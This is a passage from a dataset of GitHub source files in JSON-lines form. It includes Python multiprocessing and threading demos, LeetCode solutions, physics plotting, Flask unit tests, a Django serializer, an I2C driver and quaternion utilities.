Args:\n x (torch.Tensor): Tensor input\n Returns:\n (torch.Tensor): Transformed tensor output\n '''\n return self.layers(x)\n","repo_name":"GoekeLab/m6anet","sub_path":"m6anet/model/model_blocks/blocks.py","file_name":"blocks.py","file_ext":"py","file_size_in_byte":9672,"program_lang":"python","lang":"en","doc_type":"code","stars":86,"dataset":"github-code","pt":"18"} +{"seq_id":"33234939684","text":"from multiprocessing import Process,Pipe\nimport os,time\n\n#创建管道对象,默认是True双向都可读写\nfd1,fd2 = Pipe()\n\n#创建几个进程\ndef fun(name):\n time.sleep(3)\n #向管道写入内容\n fd1.send({name:os.getpid()})\n # fd1.send(name)\n\njobs = []\nfor i in range(5):\n p = Process(target=fun,args=(i,))\n jobs.append(p)\n p.start()\n\nfor i in range(5):\n #从管道读取内容\n data = fd2.recv()\n print(data)\nfor i in jobs:\n i.join()\n","repo_name":"qiujiandeng/-","sub_path":"pythonnet/day06/pipe.py","file_name":"pipe.py","file_ext":"py","file_size_in_byte":475,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"16675638625","text":"\"\"\"Script to split data by query.\n\nThis script splits a dataset into separate datasets, each containing examples of\na single query.\n\"\"\"\nimport numpy as np\nimport os\nimport pickle\nimport sys\n\nsys.path.append(\"../\")\nfrom directories import base_dir\n\n\ndef split_query(experiment_name, query):\n \"\"\"Save a file with inputs containing a specified query.\"\"\"\n data_path = os.path.join(base_dir, \"data\", experiment_name)\n train = pickle.load(open(os.path.join(data_path, \"test.p\")))\n wordslist = pickle.load(open(os.path.join(data_path, \"wordslist.p\")))\n trainX = train[0]\n trainy = train[1]\n query_wordindex = wordslist.index(query)\n query_storyindices = np.array([True if query_wordindex in x else False for x in trainX], dtype=bool)\n queryX = trainX[query_storyindices]\n queryy = trainy[query_storyindices]\n\n with open(os.path.join(data_path, 'test_%s.p' % query), 'wb') as f:\n pickle.dump([queryX, queryy], f)\n\n\nif __name__ == '__main__':\n experiment_name = sys.argv[1]\n querieslist = ['QPOET', 'QSUBJECT', 'QDESSERT', 'QEMCEE', 'QDRINK', 'QFRIEND']\n for query in querieslist:\n split_query(experiment_name, query)\n","repo_name":"cchen23/generalized_schema_learning","sub_path":"experiment_creators/split_data.py","file_name":"split_data.py","file_ext":"py","file_size_in_byte":1165,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"18"} +{"seq_id":"2148527555","text":"num = int(input(\"How many numbers you want: \"))\nnum_even = 0\nnum_odd = 0\nnum_count = 0\nnumbers = [num]\nfor i in range (1,num + 1):\n x = int(input(\"Enter next number: \\n\")) \n numbers.insert(i , x)\n i = i + 1\nprint(numbers)\nfor i in range(len(numbers)):\n if int(numbers[i]) % 2 == 0:\n num_even = num_even + 1\n else: \n num_odd = num_odd + 1\n num_count = num_count + int(numbers[i])\nprint(\"Even: \" , num_even)\nprint(\"Odd: \" , num_odd)\nprint(\"Odd total: \" , num_count)\n","repo_name":"MBWalter/Orientation_Week","sub_path":"using_if_3.py","file_name":"using_if_3.py","file_ext":"py","file_size_in_byte":501,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"72782994601","text":"from threading import Thread, Semaphore\r\nimport threading\r\nimport time\r\nimport logging\r\nimport random\r\nfrom Queue import Queue\r\n\r\nlogging.basicConfig(format=\"%(levelname)-5s on [%(threadName)-10s]: %(message)s\", level=logging.DEBUG)\r\n\r\nspawnDelay = 1\r\nworkDelay = 1\r\nwaitDelay = 2\r\n\r\nclass Barber(Thread):\r\n\tdef __init__(self, seats):\r\n\t\tThread.__init__(self)\r\n\r\n\t\tself.name = \"Barber\"\r\n\r\n\t\tself.asleep = False\r\n\t\tself.working = True\r\n\t\tself.closing = False\r\n\t\tself.seats = seats\r\n\r\n\t\tself.metLast = False\r\n\r\n\tdef run(self):\r\n\t\twhile True:\r\n\t\t\t# logging.info(\"is still working? {}\".format(self.working))\r\n\r\n\t\t\tif self.closing:\r\n\t\t\t\t# logging.warning(\"is trying to close...\")\r\n\t\t\t\tif self.metLast:\r\n\t\t\t\t\tself.working = False\r\n\t\t\t\t\tbreak\r\n\r\n\t\t\tif not self.asleep:\r\n\t\t\t\tclient = self.seats.get()\r\n\r\n\t\t\t\tif client is None:\r\n\t\t\t\t\tself.asleep = True\r\n\t\t\t\t\tlogging.debug(\"fell asleep...\")\r\n\t\t\t\telse:\r\n\t\t\t\t\tlogging.info(\"is working on {}\".format(client.name))\r\n\t\t\t\t\tself.metLast = client.is_Last\r\n\r\n\t\t\t\t\tclient.isWorkedOn = True\r\n\t\t\t\t\tlogging.info(\"is done with {}\".format(client.name))\r\n\t\t\t\t\tclient.isServiced()\r\n\t\t\t\t\tclient.join()\r\n\r\n\t\t\t# logging.warning(\"PASS {}\".format(self.closing))\t\t\t\r\n\r\n\t\t\ttime.sleep(1)\r\n\r\n\t\t# logging.warning(threading.enumerate())\r\n\t\tlogging.debug(\"is packing up...\")\r\n\r\n\r\n\tdef wake(self):\r\n\t\tself.asleep = False\r\n\r\n\tdef close(self):\r\n\t\t# logging.warning(\"is supposed to be packing up...\")\r\n\t\tself.closing = True\r\n\r\n\t\t# logging.warning(\"PASS {}\".format(self.closing))\r\n\r\n\r\nclass Client(Thread):\r\n\tdef __init__(self, number, name, waitlist, seats, is_Last):\r\n\t\tThread.__init__(self)\r\n\r\n\t\tself.is_Last = is_Last\r\n\r\n\t\tself.name = \"Cust No. \" + str(number)\r\n\t\tself.CustName = name\r\n\t\tself.waitlist = waitlist\r\n\t\tself.seats = seats\r\n\r\n\t\t# Time while being worked on\r\n\t\tself.delay = random.random() * workDelay\r\n\r\n\t\tself.waitTime = random.random() * waitDelay\r\n\t\tself.waiting = 0\r\n\r\n\t\t# Queue wait time\r\n\t\tself.patience = random.randrange(1,6)\r\n\r\n\t\tself.onWait = True\r\n\t\t# self.isSeated = False\r\n\t\tself.isWorkedOn = False\r\n\t\tself.annoyed = False\r\n\t\t\r\n\r\n\tdef run(self):\r\n\t\twhile True:\r\n\t\t\tif self.isWorkedOn:\r\n\t\t\t\tself.onWait = False\r\n\r\n\t\t\t\ttime.sleep(self.delay)\r\n\t\t\t\tlogging.debug(\"is satisfied and left...\")\r\n\t\t\t\tbreak\r\n\r\n\t\t\tif self.annoyed:\r\n\t\t\t\tlogging.debug(\"got fed up and left.\")\r\n\t\t\t\tbreak\r\n\r\n\t\t\tif self.onWait:\r\n\t\t\t\tavailable = self.waitlist.acquire(False)\r\n\r\n\t\t\t\tif available:\r\n\t\t\t\t\tlogging.info(\"is now waiting...\")\r\n\t\t\t\t\tself.onWait = False\r\n\t\t\t\t\t# self.isSeated = True\r\n\t\t\t\t\tself.seats.put(self)\r\n\t\t\t\telse:\r\n\t\t\t\t\tlogging.info(\"will wait \" + str(self.patience - self.waiting) + \" more times.\")\r\n\t\t\t\t\tself.wait()\r\n\r\n\r\n\t\t\t# logging.debug(\"is being worked on...\")\r\n\t\t\t# time.sleep(delay)\r\n\tdef isServiced(self):\r\n\t\tself.waitlist.release()\r\n\r\n\tdef wait(self):\r\n\t\tif self.waiting >= self.patience:\r\n\t\t\tself.annoyed = True\r\n\t\ttime.sleep(self.waitTime)\r\n\t\tself.waiting += 1\r\n\r\n\t# def name(self):\r\n\t# \treturn self.name\r\n\t\t\r\n\r\n\r\nclass ClientManager(Thread):\r\n\tdef __init__(self, clients, barber, waitlist, seats):\r\n\t\tThread.__init__(self)\r\n\r\n\t\tself.name = \"Counter\"\r\n\r\n\t\tself.maxClient = clients\r\n\t\tself.clientNo = 0\r\n\r\n\t\tself.clientele = []\r\n\r\n\t\tself.waitlist = waitlist\r\n\t\tself.seats = seats\r\n\t\tself.worker = barber\r\n\r\n\tdef run(self):\r\n\t\twhile True:\r\n\t\t\tself.glean()\r\n\r\n\t\t\tif self.clientNo >= self.maxClient:\r\n\t\t\t\t# logging.warning(\"{} : Empty? {}\".format(self.clientele, self.seats.empty()))\r\n\r\n\t\t\t\tif not self.clientele:\r\n\t\t\t\t\tself.worker.close()\r\n\t\t\t\t\tbreak\r\n\r\n\t\t\t# if len(self.clientele) > 0:\r\n\t\t\t\t# self.barber.wake()\r\n\r\n\t\t\ttime.sleep(random.random() * spawnDelay)\r\n\r\n\t\t\t# logging.warning(str(self.clientNo) + \" >= \" + str(self.maxClient))\r\n\t\t\tchance = random.random()\r\n\t\t\tif chance >= 0.5 and not self.clientNo >= self.maxClient:\r\n\t\t\t\tnewCust = self.spawn()\r\n\t\t\t\tself.clientele.append(newCust)\r\n\t\t\t\tnewCust.start()\r\n\r\n\r\n\t\tlogging.debug(\"has closed.\")\r\n\r\n\tdef glean(self):\r\n\t\tfor client in self.clientele:\r\n\t\t\tif not client.isAlive():\r\n\t\t\t\tself.clientele.remove(client)\r\n\r\n\tdef spawn(self):\r\n\t\tlogging.info(\"A client appeared.\")\r\n\t\tself.clientNo += 1\r\n\r\n\t\tif self.clientNo >= self.maxClient:\r\n\t\t\treturn Client(self.clientNo, \"Bob\", self.waitlist, self.seats, True)\r\n\t\telse:\r\n\t\t\treturn Client(self.clientNo, \"Bob\", self.waitlist, self.seats, False)\r\n\t\t\r\n\r\ndef main():\r\n\tseatLimit = 1\r\n\tcustNo = 10\r\n\r\n\tlogging.debug(\"Shop has opened.\")\r\n\r\n\twaitlist = Semaphore(seatLimit)\r\n\tseats = Queue()\r\n\tworker = Barber(seats)\r\n\treception = ClientManager(custNo, worker, waitlist, seats)\r\n\r\n\tworker.start()\r\n\treception.start()\r\n\r\n\t# print threading.enumerate()\r\n\r\n\treception.join()\r\n\tworker.join()\r\n\r\n\tlogging.debug(\"Shop has closed.\")\r\n\r\n\r\n# Program Execution\r\nmain()","repo_name":"FatherLied/Python","sub_path":"barber.py","file_name":"barber.py","file_ext":"py","file_size_in_byte":4678,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"25216528412","text":"# https://leetcode.com/problems/intersection-of-two-arrays-ii/\n# tags: #array, #binary_search, #hash_table, #sorting, #top_interview_questions, #two_pointers\n#\n# Solution 1: Counters intersection\n# In Python we can leverage of Counter data structure and list comprehension technique\n# to make a 1-line solution. Just intersect both counters, iterate on the result\n# and for each value duplicate key v times or just use elements built-in method\n# Time Complexity: O(n + m), Space complexity: O(n + m)\n#\n# Solution Follow-up 1: Two pointers\n# Classic two pointers iteration where i points to nums1 and j points to nums 2\n# Because a sorted array is in ascending order, so if nums1[i] > nums[j], we need to increment j, and vice versa.\n# Only when nums1[i] == nums[j], we add it to the result array.\n# Time Complexity O(max(n, m)), Space complexity: O(n + m)\n#\n# Solution Follow-up 2: Binary Search\n# Use Binary search if k=len(nums1) is small enough, O(k*log(n)) < O(max(n,m)), otherwise use two pointers method\n# To deal with duplicate entry, once you find an entry, all the duplicate element is around that that index,\n# so you can do linear search scan afterward.\n# Time complexity: O(k*log(n) + n), Space complexity: O(k)\n#\n# Solution Follow-up 3:\n# * External sort, if the two arrays are of similar length\n# * Partition nums2 and send to memory into chunks, if one array if much greater than the other.\n# * Another method is, store the larger array into disk, and for each element in the shorter array,\n# use “Exponential Search” and search in the longer array\nfrom collections import Counter\nfrom typing import List\n\n\nclass Solution:\n def intersect(self, nums1: List[int], nums2: List[int]) -> List[int]:\n return list((Counter(nums1) & Counter(nums2)).elements())\n\n def intersect_twoPointers(self, nums1: List[int], nums2: List[int]) -> List[int]:\n n, m = len(nums1), len(nums2)\n i, j = 0, 0\n res = []\n\n while i < n and j < m:\n a, b = nums1[i], nums2[j]\n if a < b:\n i += 1\n elif a > b:\n j += 1\n else:\n res.append(a)\n i += 1\n j += 1\n\n return res\n\n\nif __name__ == \"__main__\":\n sol = Solution()\n print(sol.intersect(nums1=[1, 2, 2, 1], nums2=[2, 2])) # [2,2]\n print(sol.intersect(nums1=[4, 9, 5], nums2=[9, 4, 9, 8, 4])) # [4,9]\n\n print(sol.intersect_twoPointers(nums1=[4, 5, 9], nums2=[4, 4, 8, 9, 9])) # [4,9]\n","repo_name":"ronelzb/leetcode","sub_path":"array/0350_intersection_of_two_arrays_ii.py","file_name":"0350_intersection_of_two_arrays_ii.py","file_ext":"py","file_size_in_byte":2501,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"71012163239","text":"#! python3\nimport os\nimport requests\nimport bs4\n\npath = r\"C:\\Users\\Liudingchao\\Src\\Download\"\nos.chdir(os.path.join(path))\ndir = os.getcwd()\nprint(\"my name:\" + dir)\nres = requests.get('http://baidu.com')\nres.raise_for_status()\nsearchSoup = bs4.BeautifulSoup(res.text)\n\n","repo_name":"jiudc/Python","sub_path":"python/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":268,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"30245453745","text":"\"\"\"\nThis code is supported by the website: https://www.guanjihuan.com\nThe newest version of this code is on the web page: https://www.guanjihuan.com/archives/5025\n\"\"\"\n\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom math import * \nimport cmath \n\n\ndef hamiltonian(k): # SSH模型\n v=0.6\n w=1\n matrix = np.zeros((2, 2), dtype=complex)\n matrix[0,1] = v+w*cmath.exp(-1j*k)\n matrix[1,0] = v+w*cmath.exp(1j*k)\n return matrix\n\n\ndef main():\n k = np.linspace(-pi, pi, 100)\n plot_bands_one_dimension(k, hamiltonian)\n\n\ndef plot_bands_one_dimension(k, hamiltonian):\n dim = hamiltonian(0).shape[0]\n dim_k = k.shape[0]\n eigenvalue_k = np.zeros((dim_k, dim))\n i0 = 0\n for k0 in k:\n matrix0 = hamiltonian(k0)\n eigenvalue, eigenvector = np.linalg.eig(matrix0)\n eigenvalue_k[i0, :] = np.sort(np.real(eigenvalue[:]))\n i0 += 1\n for dim0 in range(dim):\n plt.plot(k, eigenvalue_k[:, dim0], '-k')\n plt.show()\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"guanjihuan/guanjihuan.com","sub_path":"academic_codes/topological_invariant/2020.07.26_Hamiltonian_bands_and_Winding_number_in_SSH_model/bands_of_SSH_model.py","file_name":"bands_of_SSH_model.py","file_ext":"py","file_size_in_byte":1016,"program_lang":"python","lang":"en","doc_type":"code","stars":24,"dataset":"github-code","pt":"18"} +{"seq_id":"40505781032","text":"import datetime\nimport json\nimport collections\nimport webtest\nimport pytest\n\nfrom database import Session\nimport test_base\nfrom models.album_hikes_model import Album_Hikes\n\nclass AlbumHikesTest(test_base.TestBase):\n def assert_response(self, response, expected_album_hikes):\n \"\"\"\n A helper method that asserts whether an HTTP Response includes the suspected ALbum_Hikes IDs.\n \"\"\"\n actual_ids = [int(collection[\"album_id\"]) for collection in response]\n expected_ids = [int(collection.album_id) for collection in expected_album_hikes]\n self.assertCountEqual(expected_ids, actual_ids)\n\n # Commneted out tests work, butthey are connected to the actual database and return Violated Constraints error\n # because the unit tests connect to the actual database \n \n #Test check if we can access hikes in an album given an album id, if there is only one hike\n def test_get_all_only_one_hike_in_album(self):\n # Instantiate an Album_Hikes object.\n album_hikes = Album_Hikes(\n hike_api_id=234,\n hike_id=\"234-543-345\",\n album_id=\"1234567890\",\n )\n\n with self.app.app_context():\n\n session = Session()\n existing_hike = session.query(Album_Hikes).filter_by(hike_api_id=234).delete()\n session.commit() \n session.close()\n\n # Add all Actor to the database and commit the transaction.\n session = Session()\n session.add(album_hikes)\n session.commit()\n \n\n response = self.webtest_app.get(\"/album_hikes/get_all\", params={'album_id': '1234567890'}).json\n # Assert the expect and actual response sizes are equal.\n self.assertEqual(len(response), len([album_hikes]))\n # Assert the response only includes the expected album_hikes IDs.\n self.assert_response(response, [album_hikes])\n\n #Test check if we can access multiple hikes in an album given an album id, if there are multiple hikes\n def test_get_all_many_hikes_in_album(self):\n # Instantiate an Album_Hikes object.\n album_hikes1 = Album_Hikes(\n hike_api_id=234,\n hike_id=\"234-543-345\",\n album_id=\"1234567890\",\n )\n\n # Instantiate an Album_Hikes object.\n album_hikes2 = Album_Hikes(\n hike_api_id=235,\n hike_id=\"234-543-345-897\",\n album_id=\"12345678901234\",\n )\n album_hikes = [album_hikes1, album_hikes2]\n\n TestCase = collections.namedtuple(\n \"TestCase\", [\"name\", \"request_url\", \"album_id\", \"expected_album_hikes\"]\n )\n\n # Initialize the various test cases we are interested in testing.\n test_cases = [\n TestCase(\n name=\"retrieve album_hikes 1\",\n request_url=\"/album_hikes/get_all\",\n album_id=album_hikes1.album_id,\n expected_album_hikes=[album_hikes1],\n ),\n TestCase(\n name=\"retrieve album_hikes 2\",\n request_url=\"/album_hikes/get_all\",\n album_id=album_hikes2.album_id,\n expected_album_hikes=[album_hikes2],\n ),\n ]\n\n with self.app.app_context():\n\n session = Session()\n for hikes in album_hikes:\n session.query(Album_Hikes).filter_by(hike_api_id=hikes.hike_api_id).delete()\n session.query(Album_Hikes).filter_by(hike_api_id=hikes.hike_api_id).delete()\n session.commit() \n session.close()\n\n session = Session()\n # Add all album_hikes to the database and commit the transaction.\n session.add_all(album_hikes)\n session.commit()\n\n for test_case in test_cases:\n with self.subTest(msg=test_case.name):\n response = self.webtest_app.get(test_case.request_url, params={'album_id': test_case.album_id}).json\n # Assert the expect and actual response sizes are equal.\n self.assertEqual(len(response), len(test_case.expected_album_hikes))\n # Assert the response only includes the expected Album_Hikes IDs.\n self.assert_response(response, test_case.expected_album_hikes)\n\n # Test that we cannot add a hike to an album, if any of the required fields \n # album_id, hike_id, and hike_api_id\n # are missing\n def test_add_hike_to_album_bad_request(self):\n # Define a TestCase named tuple to simplify the construction of test cases.\n TestCase = collections.namedtuple(\n \"TestCase\",\n [\"name\", \"request_body\", \"expected_error_code\", \"expected_error_message\"],\n )\n # Initialize the various test cases we are interested in testing.\n test_cases = [\n TestCase(\n name=\"missing album_id\",\n request_body={\"hike_id\":\"1234\", \"hike_api_id\":123},\n expected_error_code=\"400\",\n expected_error_message=\"album_id cannot be blank.\",\n ),\n TestCase(\n name=\"missing hike_id\",\n request_body={\"album_id\":\"1234\", \"hike_api_id\":123},\n expected_error_code=\"400\",\n expected_error_message=\"hike_id cannot be blank.\",\n ),\n TestCase(\n name=\"missing hike_api_id\",\n request_body={\"hike_id\":\"1234\", \"album_id\":\"123\"},\n expected_error_code=\"400\",\n expected_error_message=\"hike_api_id cannot be blank.\",\n ),\n ]\n with self.app.app_context():\n for test_case in test_cases:\n with self.subTest(msg=test_case.name):\n # Assert validation errors are raised for the test cases defined above.\n with self.assertRaises(webtest.AppError) as exception:\n self.webtest_app.post_json(\"/album_hikes/add_hike_to_album\", test_case.request_body)\n\n # Assert the HTTP Response Code and the error messages are what we expect.\n _, response_body = str(exception.exception).split(\"\\n\")\n print(\"Response Body:\", response_body)\n self.assertTrue(test_case.expected_error_code in response_body)\n self.assertTrue(test_case.expected_error_message in response_body)\n\n # Test that we can add a hike to an album, given album_id, hike_id, and hike_api_id\n def test_add_hike_to_album(self):\n # Instantiate request payload.\n request_body = {\n \"hike_id\": \"1234-5667\",\n \"hike_api_id\":1234,\n \"album_id\": \"12345678-des-45\",\n }\n\n with self.app.app_context():\n\n session = Session()\n existing_hike = session.query(Album_Hikes).filter_by(hike_api_id=1234).delete()\n session.commit() \n session.close()\n\n # Send an HTTP Post Request to \"album_hikes/add_hike_to_album\".\n response = self.webtest_app.post_json(\"/album_hikes/add_hike_to_album\", request_body).json\n # Assert various aspects of the response object.\n self.assertEqual(response[\"hike_id\"], \"1234-5667\")\n self.assertEqual(response[\"hike_api_id\"], 1234)\n self.assertEqual(response[\"album_id\"], \"12345678-des-45\")","repo_name":"2022-csc-59866/HikeApp","sub_path":"hiking/backend-hiking/views/album_hikes_test.py","file_name":"album_hikes_test.py","file_ext":"py","file_size_in_byte":7429,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"30666048859","text":"from responses.models import Response\nfrom rest_framework import serializers\n\nfrom .news_org_type import NewsOrgTypeSerializer\nfrom .tool import ToolSerializer\nfrom .tool_task import ToolTaskSerializer\n\n\nclass ResponseSerializer(serializers.ModelSerializer):\n news_org_type = serializers.SerializerMethodField()\n tools_used = serializers.SerializerMethodField()\n most_important_tool = serializers.SerializerMethodField()\n tasks_used = serializers.SerializerMethodField()\n\n def get_news_org_type(self, obj):\n return NewsOrgTypeSerializer(obj.news_org_type).data\n\n def get_tools_used(self, obj):\n parsed_tools = []\n for tool in obj.tools_used.all():\n parsed_tools.append(ToolSerializer(tool).data)\n\n return parsed_tools\n\n def get_most_important_tool(self, obj):\n return ToolSerializer(obj.most_important_tool).data\n\n def get_tasks_used(self, obj):\n parsed_tasks = []\n for task in obj.tasks_used.all():\n parsed_tasks.append(ToolTaskSerializer(task).data)\n\n return parsed_tasks\n\n class Meta:\n model = Response\n fields = (\n \"date_submitted\",\n \"job_title\",\n \"job_duties\",\n \"news_org_name\",\n \"news_org_type\",\n \"news_org_age\",\n \"tools_used\",\n \"most_important_tool\",\n \"tasks_used\",\n \"tool_satisfaction\",\n \"tool_recommendation\",\n \"tool_recommendation_why_not\",\n \"stopped_using\",\n \"why_stopped_using\",\n \"org_struggle\",\n \"org_struggle_other\",\n \"org_comparison\",\n \"org_communication\",\n \"org_sustainability\",\n \"talk_more\",\n \"email\",\n )\n","repo_name":"news-catalyst/django-tools-census","sub_path":"responses/serializers/response.py","file_name":"response.py","file_ext":"py","file_size_in_byte":1779,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"34724521707","text":"# -*- coding: UTF-8 -*-\nimport glob\nimport os\nimport cv2\nimport time\n\n\n# 图片合成视频\ndef picvideo(path, size):\n filelist = os.listdir(path) # 获取该目录下的所有文件名\n filelist.sort(key=lambda x: int(x[:-4])) ##文件名按数字排序\n '''\n fps:\n 帧率:1秒钟有n张图片写进去[控制一张图片停留5秒钟,那就是帧率为1,重复播放这张图片5次] \n 如果文件夹下有50张 534*300的图片,这里设置1秒钟播放5张,那么这个视频的时长就是10秒\n '''\n fps = 10\n file_path = r\"/data/11910912/yzb/MUNIT-master/results\" + str(int(time.time())) + \".mp4\" # 导出路径\n fourcc = cv2.VideoWriter_fourcc(*'mp4v') # 不同视频编码对应不同视频格式(例:'I','4','2','0' 对应avi格式)\n\n video = cv2.VideoWriter(file_path, fourcc, fps, size)\n i=0\n for item in filelist:\n i+=1\n if i>=10000:\n break\n if True: # 判断图片后缀是否是.png\n item = path + '/' + str(i)+\".png\"\n img = cv2.imread(item) # 使用opencv读取图像,直接返回numpy.ndarray 对象,通道顺序为BGR ,注意是BGR,通道值默认范围0-255。\n video.write(img) # 把图片写进视频\n\n video.release() # 释放\n\npicvideo(r'/data/11910912/yzb/MUNIT-master/results/sustechcampus_01', (500,500))\n\n","repo_name":"z1V-Chan/ML_PROJECT","sub_path":"MUNIT/image2video.py","file_name":"image2video.py","file_ext":"py","file_size_in_byte":1371,"program_lang":"python","lang":"zh","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"18891910625","text":"from adafruit_bus_device.i2c_device import I2CDevice\n\nREGISTER_INPUT = 0x00\nREGISTER_OUTPUT = 0x01\nREGISTER_POLARITY = 0x02\nREGISTER_CONFIG = 0x03\n\nclass PCA9557:\n def __init__(self, i2c, address=None):\n self.i2c_device = I2CDevice(i2c, address)\n self.buf = bytearray(2)\n\n def read_input(self):\n with self.i2c_device as i2c:\n i2c.write_then_readinto(bytearray([REGISTER_INPUT]), self.buf, in_end=1)\n return self.buf[0]\n\n def write_config(self, config):\n self.buf[0] = REGISTER_CONFIG\n self.buf[1] = config\n with self.i2c_device as i2c:\n i2c.write(self.buf)\n\n def write_output(self, output):\n self.buf[0] = REGISTER_OUTPUT\n self.buf[1] = output\n with self.i2c_device as i2c:\n i2c.write(self.buf)\n \n def write_polarity(self, polarity):\n self.buf[0] = REGISTER_POLARITY\n self.buf[1] = polarity\n with self.i2c_device as i2c:\n i2c.write(self.buf)\n","repo_name":"r0the/smartglove-py","sub_path":"pca9557.py","file_name":"pca9557.py","file_ext":"py","file_size_in_byte":1006,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"18"} +{"seq_id":"73144320361","text":"\"\"\"A set of tools to handle quaternions and other functions related to\nspatial rotation.\"\"\"\nimport numpy as _numpy\nfrom . import refactor\n\n\ndef random(number_of_quaternions=1, fix_sign=True):\n random_base = _numpy.random.random((number_of_quaternions, 3))\n quats = _numpy.empty((number_of_quaternions, 4))\n quats[:, 0] = (_numpy.sqrt(1.-random_base[:, 0]) *\n _numpy.sin(2.*_numpy.pi*random_base[:, 1]))\n quats[:, 1] = (_numpy.sqrt(1.-random_base[:, 0]) *\n _numpy.cos(2.*_numpy.pi*random_base[:, 1]))\n quats[:, 2] = (_numpy.sqrt(random_base[:, 0]) *\n _numpy.sin(2.*_numpy.pi*random_base[:, 2]))\n quats[:, 3] = (_numpy.sqrt(random_base[:, 0]) *\n _numpy.cos(2.*_numpy.pi*random_base[:, 2]))\n if fix_sign:\n globals()[\"fix_sign\"](quats)\n return quats.squeeze()\n\n\ndef from_angle_and_dir(angle, direction):\n \"\"\"The quaternion corresponding to a rotations of angle (rad) around the\n axis defined by direction. The rotation follows the right-hand rule.\"\"\"\n angle = _numpy.mod(angle, 2.*_numpy.pi)\n quaternion = _numpy.zeros(4)\n quaternion[0] = _numpy.cos(angle/2.)\n normalization = _numpy.linalg.norm(direction)\n modulation = _numpy.sqrt(1.-quaternion[0]**2)\n quaternion[1:] = _numpy.array(direction)/normalization*modulation\n fix_sign(quaternion)\n return quaternion\n\n\ndef quaternion_to_euler_angle(quat):\n \"\"\"Generate euler angles from the quaternion. The last angle\n corresponds to in-plane rotation.\"\"\"\n raise NotImplementedError(\"Convert to matrix and then to euler angle \"\n \"instead.\")\n euler = _numpy.zeros(3)\n euler[0] = _numpy.arctan2(2.0*(quat[0]*quat[1] + quat[2]*quat[3]),\n 1.0 - 2.0*(quat[1]**2 + quat[2]**2))\n arcsin_argument = 2.0*(quat[0]*quat[2] - quat[1]*quat[3])\n if arcsin_argument > 1.0:\n arcsin_argument = 1.0\n if arcsin_argument < -1.0:\n arcsin_argument = -1.0\n euler[1] = _numpy.arcsin(arcsin_argument)\n euler[2] = _numpy.arctan2(2.0*(quat[0]*quat[3] + quat[1]*quat[2]),\n 1.0 - 2.0*(quat[2]**2 + quat[3]**2))\n return euler\n\n\ndef quaternion_to_matrix(quat):\n \"\"\"Dummy docstring\"\"\"\n quat = _numpy.array(quat)\n if len(quat.shape) < 2:\n matrix = _numpy.zeros((3, 3), dtype=quat.dtype)\n else:\n matrix = _numpy.zeros((len(quat), 3, 3), dtype=quat.dtype)\n\n matrix[..., 0, 0] = (quat[..., 0]**2 + quat[..., 1]**2\n - quat[..., 2]**2 - quat[..., 3]**2)\n matrix[..., 0, 1] = (2 * quat[..., 1] * quat[..., 2]\n - 2 * quat[..., 0] * quat[..., 3])\n matrix[..., 0, 2] = (2 * quat[..., 1] * quat[..., 3]\n + 2 * quat[..., 0] * quat[..., 2])\n matrix[..., 1, 0] = (2 * quat[..., 1] * quat[..., 2]\n + 2 * quat[..., 0] * quat[..., 3])\n matrix[..., 1, 1] = (quat[..., 0]**2 - quat[..., 1]**2\n + quat[..., 2]**2 - quat[..., 3]**2)\n matrix[..., 1, 2] = (2 * quat[..., 2] * quat[..., 3]\n - 2 * quat[..., 0] * quat[..., 1])\n matrix[..., 2, 0] = (2 * quat[..., 1] * quat[..., 3]\n - 2 * quat[..., 0] * quat[..., 2])\n matrix[..., 2, 1] = (2 * quat[..., 2] * quat[..., 3]\n + 2 * quat[..., 0] * quat[..., 1])\n matrix[..., 2, 2] = (quat[..., 0]**2 - quat[..., 1]**2\n - quat[..., 2]**2 + quat[..., 3]**2)\n return matrix\n\n\ndef quaternion_to_matrix_bw(quat):\n \"\"\"Dummy docstring\"\"\"\n if len(quat.shape) < 2:\n matrix = _numpy.zeros((3, 3), dtype=quat.dtype)\n else:\n matrix = _numpy.zeros((len(quat), 3, 3), dtype=quat.dtype)\n\n matrix[..., 0, 0] = quat[0]**2-quat[1]**2-quat[2]**2+quat[3]**2\n matrix[..., 0, 1] = 2.0*quat[2]*quat[3]+2.0*quat[0]*quat[1]\n matrix[..., 0, 2] = 2.0*quat[1]*quat[3]-2.0*quat[0]*quat[2]\n matrix[..., 1, 0] = 2.0*quat[2]*quat[3]-2.0*quat[0]*quat[1]\n matrix[..., 1, 1] = quat[0]**2-quat[1]**2+quat[2]**2-quat[3]**2\n matrix[..., 1, 2] = 2.0*quat[1]*quat[2]+2.0*quat[0]*quat[3]\n matrix[..., 2, 0] = 2.0*quat[1]*quat[3]+2.0*quat[0]*quat[2]\n matrix[..., 2, 1] = 2.0*quat[1]*quat[2]-2.0*quat[0]*quat[3]\n matrix[..., 2, 2] = quat[0]**2+quat[1]**2-quat[2]**2-quat[3]**2\n return matrix\n\n\ndef inverse(quat_in):\n \"\"\"Return the inverse of the quaternion. Input is unchanged.\"\"\"\n quat_out = _numpy.zeros(quat_in.shape)\n quat_out[..., 0] = quat_in[..., 0]\n quat_out[..., 1:] = -quat_in[..., 1:]\n return quat_out.squeeze()\n\n\ndef normalize(quat):\n \"\"\"Normalize the quaternion and return the same object. (input\n quaternion is changed)\"\"\"\n if len(quat.shape) == 1:\n quat = quat.reshape((1, 4))\n norm = _numpy.linalg.norm(quat, axis=1)\n fix_sign(quat)\n return (quat/norm[:, _numpy.newaxis]).squeeze()\n\n\ndef fix_sign(quat):\n shape = (1, 4) if len(quat.shape) == 1 else quat.shape\n quat_array = quat.reshape(shape)\n under_consideration = 